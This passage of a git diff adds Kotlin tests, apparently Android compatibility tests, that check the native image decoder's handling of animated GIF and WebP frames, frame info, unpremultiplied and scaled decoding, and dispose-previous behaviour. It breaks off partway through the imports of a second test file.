+            assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nRewind(decoder))
+            nDecode(decoder, testBm, ANDROID_IMAGE_DECODER_SUCCESS)
+
+            val verifier = GoldenImageVerifier(frame0, MSSIMComparer(1.0))
+            assertTrue(verifier.verify(testBm), "Mismatch in $image after " +
+                        "decoding $framesBeforeReset and then rewinding!")
+
+            nDeleteDecoder(decoder)
+            nCloseAsset(asset)
+        }
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeReturnsFinishedAtEnd(image: String, unused: String, numFrames: Int) {
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+        for (i in 0 until (numFrames - 1)) {
+            assertEquals(nAdvanceFrame(decoder), ANDROID_IMAGE_DECODER_SUCCESS)
+        }
+
+        assertEquals(nAdvanceFrame(decoder), ANDROID_IMAGE_DECODER_FINISHED)
+
+        // Create a Bitmap to decode into and verify that no decoding occurred.
+        val width = nGetWidth(decoder)
+        val height = nGetHeight(decoder)
+        val bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888, true)
+        nDecode(decoder, bitmap, ANDROID_IMAGE_DECODER_FINISHED)
+
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+
+        // Every pixel should be transparent black, as no decoding happened.
+        assertTrue(ColorVerifier(0, 0).verify(bitmap))
+        bitmap.recycle()
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testAdvanceReturnsFinishedAtEnd(image: String, unused: String, numFrames: Int) {
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+        for (i in 0 until (numFrames - 1)) {
+            assertEquals(nAdvanceFrame(decoder), ANDROID_IMAGE_DECODER_SUCCESS)
+        }
+
+        for (i in 0..1000) {
+            assertEquals(nAdvanceFrame(decoder), ANDROID_IMAGE_DECODER_FINISHED)
+        }
+
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+    }
+
+    fun nonAnimatedAssets() = arrayOf(
+        "blue-16bit-prophoto.png", "green-p3.png", "linear-rgba16f.png", "orange-prophotorgb.png",
+        "animated_001.gif", "animated_002.gif", "sunset1.jpg"
+    )
+
+    @Test
+    @Parameters(method = "nonAnimatedAssets")
+    fun testAdvanceFrameFailsNonAnimated(image: String) {
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+        assertEquals(ANDROID_IMAGE_DECODER_BAD_PARAMETER, nAdvanceFrame(decoder))
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+    }
+
+    @Test
+    @Parameters(method = "nonAnimatedAssets")
+    fun testRewindFailsNonAnimated(image: String) {
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+        assertEquals(ANDROID_IMAGE_DECODER_BAD_PARAMETER, nRewind(decoder))
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+    }
+
+    fun imagesAndSetters(): ArrayList<Any> {
+        val setters = arrayOf<(Long) -> Int>(
+            { decoder -> nSetUnpremultipliedRequired(decoder, true) },
+            { decoder ->
+                val rect = Rect(0, 0, nGetWidth(decoder) / 2, nGetHeight(decoder) / 2)
+                setCrop(decoder, rect)
+            },
+            { decoder ->
+                val ANDROID_BITMAP_FORMAT_RGBA_F16 = 9
+                nSetAndroidBitmapFormat(decoder, ANDROID_BITMAP_FORMAT_RGBA_F16)
+            },
+            { decoder ->
+                nSetTargetSize(decoder, nGetWidth(decoder) / 2, nGetHeight(decoder) / 2)
+            },
+            { decoder ->
+                val ADATASPACE_DISPLAY_P3 = 143261696
+                nSetDataSpace(decoder, ADATASPACE_DISPLAY_P3)
+            }
+        )
+        val list = ArrayList<Any>()
+        for (animations in animationsAndFrames()) {
+            for (setter in setters) {
+                list.add(arrayOf(animations[0], animations[2], setter))
+            }
+        }
+        return list
+    }
+
+    @Test
+    @Parameters(method = "imagesAndSetters")
+    fun testSettersFailOnLatterFrames(image: String, numFrames: Int, setter: (Long) -> Int) {
+        // Verify that the setter succeeds on the first frame.
+        with(nOpenAsset(getAssets(), image)) {
+            val decoder = nCreateFromAsset(this)
+            assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, setter(decoder))
+            nDeleteDecoder(decoder)
+            nCloseAsset(this)
+        }
+
+        for (framesBeforeSet in 1 until numFrames) {
+            val asset = nOpenAsset(getAssets(), image)
+            val decoder = nCreateFromAsset(asset)
+            for (i in 1..framesBeforeSet) {
+                assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nAdvanceFrame(decoder))
+            }
+
+            // Not on the first frame, so the setter fails.
+            assertEquals(ANDROID_IMAGE_DECODER_INVALID_STATE, setter(decoder))
+
+            // Rewind to the beginning. Now the setter can succeed.
+            assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nRewind(decoder))
+            assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, setter(decoder))
+
+            nDeleteDecoder(decoder)
+            nCloseAsset(asset)
+        }
+    }
+
+    fun unpremulTestFiles() = arrayOf(
+        "alphabetAnim.gif", "animated_webp.webp", "stoplight.webp"
+    )
+
+    @Test
+    @Parameters(method = "unpremulTestFiles")
+    fun testUnpremul(image: String) {
+        val expectedBm = with(ImageDecoder.createSource(getAssets(), image)) {
+            ImageDecoder.decodeBitmap(this) {
+                decoder, _, _ ->
+                    decoder.allocator = ImageDecoder.ALLOCATOR_SOFTWARE
+                    decoder.setUnpremultipliedRequired(true)
+            }
+        }
+
+        val testBm = makeEmptyBitmap(expectedBm)
+
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+        assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nSetUnpremultipliedRequired(decoder, true))
+        nDecode(decoder, testBm, ANDROID_IMAGE_DECODER_SUCCESS)
+
+        val verifier = GoldenImageVerifier(expectedBm, MSSIMComparer(1.0))
+        assertTrue(verifier.verify(testBm), "$image did not match in unpremul")
+
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+    }
+
+    fun imagesWithAlpha() = arrayOf(
+        "alphabetAnim.gif",
+        "animated_webp.webp",
+        "animated.gif"
+    )
+
+    @Test
+    @Parameters(method = "imagesWithAlpha")
+    fun testUnpremulThenScaleFailsWithAlpha(image: String) {
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+        val width = nGetWidth(decoder)
+        val height = nGetHeight(decoder)
+
+        assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nSetUnpremultipliedRequired(decoder, true))
+        assertEquals(ANDROID_IMAGE_DECODER_INVALID_SCALE,
+                nSetTargetSize(decoder, width * 2, height * 2))
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+    }
+
+    @Test
+    @Parameters(method = "imagesWithAlpha")
+    fun testScaleThenUnpremulFailsWithAlpha(image: String) {
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+        val width = nGetWidth(decoder)
+        val height = nGetHeight(decoder)
+
+        assertEquals(ANDROID_IMAGE_DECODER_SUCCESS,
+                nSetTargetSize(decoder, width * 2, height * 2))
+        assertEquals(ANDROID_IMAGE_DECODER_INVALID_CONVERSION,
+                nSetUnpremultipliedRequired(decoder, true))
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+    }
+
+    fun opaquePlusScale(): ArrayList<Any> {
+        val opaqueImages = arrayOf("sunset1.jpg", "blendBG.webp", "stoplight.webp")
+        val scales = arrayOf(.5f, .75f, 2.0f)
+        val list = ArrayList<Any>()
+        for (image in opaqueImages) {
+            for (scale in scales) {
+                list.add(arrayOf(image, scale))
+            }
+        }
+        return list
+    }
+
+    @Test
+    @Parameters(method = "opaquePlusScale")
+    fun testUnpremulPlusScaleOpaque(image: String, scale: Float) {
+        val expectedBm = with(ImageDecoder.createSource(getAssets(), image)) {
+            ImageDecoder.decodeBitmap(this) {
+                decoder, info, _ ->
+                    decoder.isUnpremultipliedRequired = true
+                    decoder.allocator = ImageDecoder.ALLOCATOR_SOFTWARE
+                    val width = (info.size.width * scale).toInt()
+                    val height = (info.size.height * scale).toInt()
+                    decoder.setTargetSize(width, height)
+            }
+        }
+        val verifier = GoldenImageVerifier(expectedBm, MSSIMComparer(1.0))
+
+        // Flipping the order of setting unpremul and scaling results in taking
+        // a different code path. Ensure both succeed.
+        val ops = listOf(
+            { decoder: Long -> nSetUnpremultipliedRequired(decoder, true) },
+            { decoder: Long -> nSetTargetSize(decoder, expectedBm.width, expectedBm.height) }
+        )
+
+        for (order in setOf(ops, ops.asReversed())) {
+            val testBm = makeEmptyBitmap(expectedBm)
+            val asset = nOpenAsset(getAssets(), image)
+            val decoder = nCreateFromAsset(asset)
+            for (op in order) {
+                assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, op(decoder))
+            }
+            nDecode(decoder, testBm, ANDROID_IMAGE_DECODER_SUCCESS)
+            assertTrue(verifier.verify(testBm))
+
+            nDeleteDecoder(decoder)
+            nCloseAsset(asset)
+            testBm.recycle()
+        }
+        expectedBm.recycle()
+    }
+
+    @Test
+    fun testUnpremulPlusScaleWithFrameWithAlpha() {
+        // The first frame of this image is opaque, so unpremul + scale succeeds.
+        // But frame 3 has alpha, so decoding it with unpremul + scale fails.
+        val image = "blendBG.webp"
+        val scale = 2.0f
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+        val width = (nGetWidth(decoder) * scale).toInt()
+        val height = (nGetHeight(decoder) * scale).toInt()
+
+        assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nSetUnpremultipliedRequired(decoder, true))
+        assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nSetTargetSize(decoder, width, height))
+
+        val testBm = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888, true)
+        for (i in 0 until 3) {
+            nDecode(decoder, testBm, ANDROID_IMAGE_DECODER_SUCCESS)
+            assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nAdvanceFrame(decoder))
+        }
+        nDecode(decoder, testBm, ANDROID_IMAGE_DECODER_INVALID_SCALE)
+
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+    }
+
+    @Test
+    @Parameters(method = "nonAnimatedAssets")
+    fun testGetFrameInfoSucceedsNonAnimated(image: String) {
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+        val frameInfo = nCreateFrameInfo()
+        assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nGetFrameInfo(decoder, frameInfo))
+
+        if (image.startsWith("animated")) {
+            // Although these images have only one frame, they still contain encoded frame info.
+            val ANDROID_IMAGE_DECODER_INFINITE = Integer.MAX_VALUE
+            assertEquals(ANDROID_IMAGE_DECODER_INFINITE, nGetRepeatCount(decoder))
+            assertEquals(250_000_000L, nGetDuration(frameInfo))
+            assertEquals(ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND, nGetDisposeOp(frameInfo))
+        } else {
+            // Since these are not animated and have no encoded frame info, they should use
+            // defaults.
+            assertEquals(0, nGetRepeatCount(decoder))
+            assertEquals(0L, nGetDuration(frameInfo))
+            assertEquals(ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE, nGetDisposeOp(frameInfo))
+        }
+
+        nTestGetFrameRect(frameInfo, 0, 0, nGetWidth(decoder), nGetHeight(decoder))
+        if (image.endsWith("gif")) {
+            // GIFs do not support SRC, so they always report SRC_OVER.
+            assertEquals(ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER, nGetBlendOp(frameInfo))
+        } else {
+            assertEquals(ANDROID_IMAGE_DECODER_BLEND_OP_SRC, nGetBlendOp(frameInfo))
+        }
+        assertEquals(nGetAlpha(decoder), nGetFrameAlpha(frameInfo))
+
+        nDeleteFrameInfo(frameInfo)
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+    }
+
+    @Test
+    fun testNullFrameInfo() = nTestNullFrameInfo(getAssets(), "animated.gif")
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testGetFrameInfo(image: String, frameName: String, numFrames: Int) {
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+        val frameInfo = nCreateFrameInfo()
+        for (i in 0 until numFrames) {
+            assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nGetFrameInfo(decoder, frameInfo))
+            val result = nAdvanceFrame(decoder)
+            val expectedResult = if (i == numFrames - 1) ANDROID_IMAGE_DECODER_FINISHED
+                                 else ANDROID_IMAGE_DECODER_SUCCESS
+            assertEquals(expectedResult, result)
+        }
+
+        assertEquals(ANDROID_IMAGE_DECODER_FINISHED, nGetFrameInfo(decoder, frameInfo))
+
+        nDeleteFrameInfo(frameInfo)
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+    }
+
+    fun animationsAndDurations() = arrayOf(
+        arrayOf<Any>("animated.gif", LongArray(4) { 250_000_000 }),
+        arrayOf<Any>("animated_webp.webp", LongArray(4) { 250_000_000 }),
+        arrayOf<Any>("required_gif.gif", LongArray(7) { 100_000_000 }),
+        arrayOf<Any>("required_webp.webp", LongArray(7) { 100_000_000 }),
+        arrayOf<Any>("alphabetAnim.gif", LongArray(13) { 100_000_000 }),
+        arrayOf<Any>("blendBG.webp", longArrayOf(525_000_000, 500_000_000,
+                525_000_000, 437_000_000, 609_000_000, 729_000_000, 444_000_000)),
+        arrayOf<Any>("stoplight.webp", longArrayOf(1_000_000_000, 500_000_000,
+                                                    1_000_000_000))
+    )
+
+    @Test
+    @Parameters(method = "animationsAndDurations")
+    fun testDurations(image: String, durations: LongArray) = testFrameInfo(image) {
+        frameInfo, i ->
+            assertEquals(durations[i], nGetDuration(frameInfo))
+    }
+
+    /**
+     * Iterate through all frames and call a lambda that tests an individual frame's info.
+     *
+     * @param image Name of the image asset to test
+     * @param test Lambda with two parameters: A pointer to the native decoder, and the
+     *             current frame number.
+     */
+    private fun testFrameInfo(image: String, test: (Long, Int) -> Unit) {
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+        val frameInfo = nCreateFrameInfo()
+        var frame = 0
+        do {
+            assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nGetFrameInfo(decoder, frameInfo),
+                "Failed to getFrameInfo for frame $frame of $image!")
+            test(frameInfo, frame)
+            frame++
+        } while (ANDROID_IMAGE_DECODER_SUCCESS == nAdvanceFrame(decoder))
+
+        nDeleteFrameInfo(frameInfo)
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+    }
+
+    fun animationsAndRects() = arrayOf(
+        // Each group of four Ints represents a frame's rectangle
+        arrayOf<Any>("animated.gif", intArrayOf(0, 0, 278, 183,
+                                                0, 0, 278, 183,
+                                                0, 0, 278, 183,
+                                                0, 0, 278, 183)),
+        arrayOf<Any>("animated_webp.webp", intArrayOf(0, 0, 278, 183,
+                                                      0, 0, 278, 183,
+                                                      0, 0, 278, 183,
+                                                      0, 0, 278, 183)),
+        arrayOf<Any>("required_gif.gif", intArrayOf(0, 0, 100, 100,
+                                                    0, 0, 75, 75,
+                                                    0, 0, 50, 50,
+                                                    0, 0, 60, 60,
+                                                    0, 0, 100, 100,
+                                                    0, 0, 50, 50,
+                                                    0, 0, 75, 75)),
+        arrayOf<Any>("required_webp.webp", intArrayOf(0, 0, 100, 100,
+                                                      0, 0, 75, 75,
+                                                      0, 0, 50, 50,
+                                                      0, 0, 60, 60,
+                                                      0, 0, 100, 100,
+                                                      0, 0, 50, 50,
+                                                      0, 0, 75, 75)),
+        arrayOf<Any>("alphabetAnim.gif", intArrayOf(25, 25, 75, 75,
+                                                    25, 25, 75, 75,
+                                                    25, 25, 75, 75,
+                                                    37, 37, 62, 62,
+                                                    37, 37, 62, 62,
+                                                    25, 25, 75, 75,
+                                                    0, 0, 50, 50,
+                                                    0, 0, 100, 100,
+                                                    25, 25, 75, 75,
+                                                    25, 25, 75, 75,
+                                                    0, 0, 100, 100,
+                                                    25, 25, 75, 75,
+                                                    37, 37, 62, 62)),
+
+        arrayOf<Any>("blendBG.webp", intArrayOf(0, 0, 200, 200,
+                                                0, 0, 200, 200,
+                                                0, 0, 200, 200,
+                                                0, 0, 200, 200,
+                                                0, 0, 200, 200,
+                                                100, 100, 200, 200,
+                                                100, 100, 200, 200)),
+        arrayOf<Any>("stoplight.webp", intArrayOf(0, 0, 145, 55,
+                                                  0, 0, 145, 55,
+                                                  0, 0, 145, 55))
+    )
+
+    @Test
+    @Parameters(method = "animationsAndRects")
+    fun testFrameRects(image: String, rects: IntArray) = testFrameInfo(image) {
+        frameInfo, i ->
+            val left = rects[i * 4]
+            val top = rects[i * 4 + 1]
+            val right = rects[i * 4 + 2]
+            val bottom = rects[i * 4 + 3]
+            try {
+                nTestGetFrameRect(frameInfo, left, top, right, bottom)
+            } catch (t: Throwable) {
+                throw AssertionError("$image, frame $i: ${t.message}", t)
+            }
+    }
+
+    fun animationsAndAlphas() = arrayOf(
+        arrayOf<Any>("animated.gif", BooleanArray(4) { true }),
+        arrayOf<Any>("animated_webp.webp", BooleanArray(4) { true }),
+        arrayOf<Any>("required_gif.gif", booleanArrayOf(false, true, true, true,
+                true, true, true, true)),
+        arrayOf<Any>("required_webp.webp", BooleanArray(7) { false }),
+        arrayOf<Any>("alphabetAnim.gif", booleanArrayOf(true, false, true, false,
+                true, true, true, true, true, true, true, true, true)),
+        arrayOf<Any>("blendBG.webp", booleanArrayOf(false, true, false, true,
+                                                 false, true, true)),
+        arrayOf<Any>("stoplight.webp", BooleanArray(3) { false })
+    )
+
+    @Test
+    @Parameters(method = "animationsAndAlphas")
+    fun testAlphas(image: String, alphas: BooleanArray) = testFrameInfo(image) {
+        frameInfo, i ->
+            assertEquals(alphas[i], nGetFrameAlpha(frameInfo), "Mismatch in alpha for $image frame $i "
+                    + "expected ${alphas[i]}")
+    }
+
+    private val ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE = 1
+    private val ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND = 2
+    private val ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS = 3
+
+    fun animationsAndDisposeOps() = arrayOf(
+        arrayOf<Any>("animated.gif", IntArray(4) { ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND }),
+        arrayOf<Any>("animated_webp.webp", IntArray(4) { ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE }),
+        arrayOf<Any>("required_gif.gif", intArrayOf(ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND, ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE, ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE)),
+        arrayOf<Any>("required_webp.webp", intArrayOf(ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND, ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE, ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE)),
+        arrayOf<Any>("alphabetAnim.gif", intArrayOf(ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND, ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND, ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE, ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE)),
+        arrayOf<Any>("blendBG.webp", IntArray(7) { ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE }),
+        arrayOf<Any>("stoplight.webp", IntArray(4) { ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE })
+    )
+
+    @Test
+    @Parameters(method = "animationsAndDisposeOps")
+    fun testDisposeOps(image: String, disposeOps: IntArray) = testFrameInfo(image) {
+        frameInfo, i ->
+            assertEquals(disposeOps[i], nGetDisposeOp(frameInfo))
+    }
+
+    private val ANDROID_IMAGE_DECODER_BLEND_OP_SRC = 1
+    private val ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER = 2
+
+    fun animationsAndBlendOps() = arrayOf(
+        arrayOf<Any>("animated.gif", IntArray(4) { ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER }),
+        arrayOf<Any>("animated_webp.webp", IntArray(4) { ANDROID_IMAGE_DECODER_BLEND_OP_SRC }),
+        arrayOf<Any>("required_gif.gif", IntArray(7) { ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER }),
+        arrayOf<Any>("required_webp.webp", intArrayOf(ANDROID_IMAGE_DECODER_BLEND_OP_SRC,
+                ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER, ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER,
+                ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER, ANDROID_IMAGE_DECODER_BLEND_OP_SRC,
+                ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER, ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER)),
+        arrayOf<Any>("alphabetAnim.gif", IntArray(13) { ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER }),
+        arrayOf<Any>("blendBG.webp", intArrayOf(ANDROID_IMAGE_DECODER_BLEND_OP_SRC,
+                ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER, ANDROID_IMAGE_DECODER_BLEND_OP_SRC,
+                ANDROID_IMAGE_DECODER_BLEND_OP_SRC, ANDROID_IMAGE_DECODER_BLEND_OP_SRC,
+                ANDROID_IMAGE_DECODER_BLEND_OP_SRC, ANDROID_IMAGE_DECODER_BLEND_OP_SRC)),
+        arrayOf<Any>("stoplight.webp", IntArray(4) { ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER })
+    )
+
+    @Test
+    @Parameters(method = "animationsAndBlendOps")
+    fun testBlendOps(image: String, blendOps: IntArray) = testFrameInfo(image) {
+        frameInfo, i ->
+            assertEquals(blendOps[i], nGetBlendOp(frameInfo), "Mismatch in blend op for $image "
+                        + "frame $i, expected: ${blendOps[i]}")
+    }
+
+    @Test
+    fun testHandleDisposePrevious() {
+        // The first frame is ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE, followed by a single
+        // ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS frame. The third frame looks different
+        // depending on whether that is respected.
+        val image = "RestorePrevious.gif"
+        val disposeOps = intArrayOf(ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+                                    ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS,
+                                    ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE)
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+
+        val width = nGetWidth(decoder)
+        val height = nGetHeight(decoder)
+        val bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888, true)
+
+        val verifiers = arrayOf<BitmapVerifier>(
+            ColorVerifier(Color.BLACK, 0),
+            RectVerifier(Color.BLACK, Color.RED, Rect(0, 0, 100, 80), 0),
+            RectVerifier(Color.BLACK, Color.GREEN, Rect(0, 0, 100, 50), 0))
+
+        with(nCreateFrameInfo()) {
+            for (i in 0..2) {
+                nGetFrameInfo(decoder, this)
+                assertEquals(disposeOps[i], nGetDisposeOp(this))
+
+                nDecode(decoder, bitmap, ANDROID_IMAGE_DECODER_SUCCESS)
+                assertTrue(verifiers[i].verify(bitmap))
+                nAdvanceFrame(decoder)
+            }
+            nDeleteFrameInfo(this)
+        }
+
+        // Now redecode without letting AImageDecoder handle
+        // ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS.
+        bitmap.eraseColor(Color.TRANSPARENT)
+        assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nRewind(decoder))
+        nSetHandleDisposePrevious(decoder, false)
+
+        // If the client does not handle ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS
+        // the final frame does not match.
+        for (i in 0..2) {
+            nDecode(decoder, bitmap, ANDROID_IMAGE_DECODER_SUCCESS)
+            assertEquals(i != 2, verifiers[i].verify(bitmap))
+
+            if (i == 2) {
+                // Not only can we verify that frame 2 does not look as expected, but it
+                // should look as if we decoded frame 1 and did not revert it.
+                val verifier = RegionVerifier()
+                verifier.addVerifier(Rect(0, 0, 100, 50), ColorVerifier(Color.GREEN, 0))
+                verifier.addVerifier(Rect(0, 50, 100, 80), ColorVerifier(Color.RED, 0))
+                verifier.addVerifier(Rect(0, 80, 100, 100), ColorVerifier(Color.BLACK, 0))
+                assertTrue(verifier.verify(bitmap))
+            }
+            nAdvanceFrame(decoder)
+        }
+
+        // Now redecode and manually store/restore the first frame.
+        bitmap.eraseColor(Color.TRANSPARENT)
+        assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nRewind(decoder))
+        nDecode(decoder, bitmap, ANDROID_IMAGE_DECODER_SUCCESS)
+        val storedFrame = bitmap
+        for (i in 1..2) {
+            assertEquals(nAdvanceFrame(decoder), ANDROID_IMAGE_DECODER_SUCCESS)
+            val frame = storedFrame.copy(storedFrame.config, true)
+            nDecode(decoder, frame, ANDROID_IMAGE_DECODER_SUCCESS)
+            assertTrue(verifiers[i].verify(frame))
+            frame.recycle()
+        }
+
+        // This setting can be switched back, so that AImageDecoder handles it.
+        bitmap.eraseColor(Color.TRANSPARENT)
+        assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nRewind(decoder))
+        nSetHandleDisposePrevious(decoder, true)
+
+        for (i in 0..2) {
+            nDecode(decoder, bitmap, ANDROID_IMAGE_DECODER_SUCCESS)
+            assertTrue(verifiers[i].verify(bitmap))
+            nAdvanceFrame(decoder)
+        }
+
+        bitmap.recycle()
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+    }
+
+    private external fun nTestNullDecoder()
+    private external fun nTestToString()
+    private external fun nOpenAsset(assets: AssetManager, name: String): Long
+    private external fun nCloseAsset(asset: Long)
+    private external fun nCreateFromAsset(asset: Long): Long
+    private external fun nGetWidth(decoder: Long): Int
+    private external fun nGetHeight(decoder: Long): Int
+    private external fun nDeleteDecoder(decoder: Long)
+    private external fun nSetTargetSize(decoder: Long, width: Int, height: Int): Int
+    private external fun nSetCrop(decoder: Long, left: Int, top: Int, right: Int, bottom: Int): Int
+    private external fun nDecode(decoder: Long, dst: Bitmap, expectedResult: Int)
+    private external fun nAdvanceFrame(decoder: Long): Int
+    private external fun nRewind(decoder: Long): Int
+    private external fun nSetUnpremultipliedRequired(decoder: Long, required: Boolean): Int
+    private external fun nSetAndroidBitmapFormat(decoder: Long, format: Int): Int
+    private external fun nSetDataSpace(decoder: Long, format: Int): Int
+    private external fun nCreateFrameInfo(): Long
+    private external fun nDeleteFrameInfo(frameInfo: Long)
+    private external fun nGetFrameInfo(decoder: Long, frameInfo: Long): Int
+    private external fun nTestNullFrameInfo(assets: AssetManager, name: String)
+    private external fun nGetDuration(frameInfo: Long): Long
+    private external fun nTestGetFrameRect(
+        frameInfo: Long,
+        expectedLeft: Int,
+        expectedTop: Int,
+        expectedRight: Int,
+        expectedBottom: Int
+    )
+    private external fun nGetFrameAlpha(frameInfo: Long): Boolean
+    private external fun nGetAlpha(decoder: Long): Boolean
+    private external fun nGetDisposeOp(frameInfo: Long): Int
+    private external fun nGetBlendOp(frameInfo: Long): Int
+    private external fun nGetRepeatCount(decoder: Long): Int
+    private external fun nSetHandleDisposePrevious(decoder: Long, handle: Boolean)
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AnimatedImageDrawableTest.kt b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AnimatedImageDrawableTest.kt
new file mode 100644
index 0000000..87cbf13
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AnimatedImageDrawableTest.kt
@@ -0,0 +1,194 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.testclasses
+
+import androidx.test.InstrumentationRegistry
+
+import android.content.res.AssetManager
+import android.graphics.Canvas
+import android.graphics.Color
+import android.graphics.ImageDecoder
+import android.graphics.LightingColorFilter
+import android.graphics.Paint
+import android.graphics.Path
+import android.graphics.PixelFormat
+import android.graphics.PorterDuff
+import android.graphics.PorterDuffXfermode
+import android.graphics.Rect
